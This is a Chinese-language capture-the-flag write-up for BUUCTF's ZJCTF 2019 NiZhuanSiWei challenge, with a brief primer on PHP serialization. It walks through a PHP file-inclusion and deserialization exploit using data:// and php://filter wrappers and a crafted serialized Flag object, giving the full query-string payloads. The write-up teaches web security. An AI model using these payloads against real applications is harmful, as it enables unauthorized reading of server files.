BUUCTF [ZJCTF 2019]NiZhuanSiWei特详解(php伪协议+序列化与反序列化)

港控/mmm° 2022-09-05 14:58 137阅读 0赞

文章目录

  • [ZJCTF 2019]NiZhuanSiWei
    • 解题过程
    • 序列化与反序列化
      • 练习
    • POC、EXP、Payload与Shellcode

[ZJCTF 2019]NiZhuanSiWei

解题过程

  1. <?php
  2. $text = $_GET["text"];
  3. $file = $_GET["file"];
  4. $password = $_GET["password"];
  5. if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
  6. echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
  7. if(preg_match("/flag/",$file)){
  8. echo "Not now!";
  9. exit();
  10. }else{
  11. include($file); //useless.php
  12. $password = unserialize($password);
  13. echo $password;
  14. }
  15. }
  16. else{
  17. highlight_file(__FILE__);
  18. }
  19. ?>

一、 PHP file_get_contents() 函数详解

  1. if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

要求我们传入一个text文件,内容为welcome to the zjctf,我们可以使用PHP伪协议中的php://input【将post请求中的数据作为PHP代码执行】或者data://【写入协议】。

  1. ?text=data://text/plain,welcome to the zjctf
  2. ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= //使用base64编码

在这里插入图片描述
二、

  1. if(preg_match("/flag/",$file)){
  2. echo "Not now!";
  3. exit();
  4. }else{
  5. include($file); //useless.php
  6. $password = unserialize($password);
  7. echo $password;
  8. }

PHP preg_match()函数详解

执行正则表达式匹配,文件中不能出现flag。我们先尝试直接访问useless.php,依然为题目一开始点开的源码。
在这里插入图片描述
我们有看到useless.php文件包含,在这之前我们需要先使用filter协议读取里面的源码,然后将password反序列化出来,这需要我们使用序列化来还原password

  1. /?file=php://filter/read=convert.base64-encode/resource=useless.php
  2. /?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

在这里插入图片描述
、得到一段base64编码后,解密得

  1. <?php
  2. class Flag{
  3. //flag.php
  4. public $file;
  5. public function __tostring(){
  6. if(isset($this->file)){
  7. echo file_get_contents($this->file);
  8. echo "<br>";
  9. return ("U R SO CLOSE !///COME ON PLZ");
  10. }
  11. }
  12. }
  13. ?>

在PHP在线工具中进行序列化操作

  1. <?php
  2. class Flag{
  3. //flag.php
  4. public $file="flag.php";
  5. public function __tostring(){
  6. if(isset($this->file)){
  7. echo file_get_contents($this->file);
  8. echo "<br>";
  9. return ("U R SO CLOSE !///COME ON PLZ");
  10. }
  11. }
  12. }
  13. $a=new Flag();
  14. echo serialize($a);
  15. ?>

或者

  1. <?php
  2. class Flag{
  3. //flag.php
  4. public $file="flag.php";
  5. }
  6. echo serialize(new Flag);
  7. ?>

在这里插入图片描述

得到

  1. O:4:"Flag":1:{
  2. s:4:"file";s:8:"flag.php";}

这里的O是对象的意思,表示变量类型;
4为类名长度;
调用了名为flag的类;
1为属性数量(类的变量个数);
{属性类型,属性名长度,属性名;属性类型,属性名长度,属性名}

最终的payload

  1. ?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{
  2. s:4:"file";s:8:"flag.php";}

在这里插入图片描述
查看网页源码后得到flag在这里插入图片描述

序列化与反序列化

序列化和反序列化的定义:

Java序列化就是指把Java对象转换为字节序列的过程
Java反序列化就是指把字节序列恢复为Java对象的过程。

序列化最重要的作用:在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。

反序列化的最重要的作用:根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。

总结:核心作用就是对象状态的保存和重建。(整个过程核心点就是字节流中所保存的对象状态及描述信息)

练习

pikachu漏洞练习平台(PHP序列化反序列化)

POC、EXP、Payload与Shellcode

渗透中POC、EXP、Payload与Shellcode的区别

发表评论

表情:
评论列表 (有 0 条评论,137人围观)

还没有评论,来说两句吧...

相关阅读

    相关 协议序列序列

    协议”本身是一种约定俗成的东西,由通讯双方必须共同遵从的一组约定,因此我们一定要将这种约定用计算机语言表达出来,此时双方计算机才能识别约定的相关内容我们把这个规矩叫做“协议”

    相关 序列序列

    因为TCP/IP协议只支持字节数组的传输,不能直接传对象。对象序列化的结果一定是字节数组!当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,都会以二

    相关 序列序列

    我们知道,和new创建对象,反射创建对象,序列化创建对象也是我们常用的一种对象创建方式,下面就详细的说一说序列化与反序列化。 一.序列化简述 为什么需要序列化与反序列

    相关 序列序列

    概念 -------------------- 把对象的状态信息转换为字节序列的过程称为对象的序列化。 把字节序列恢复为对象的过程称为对象的反序列化。 对象的序列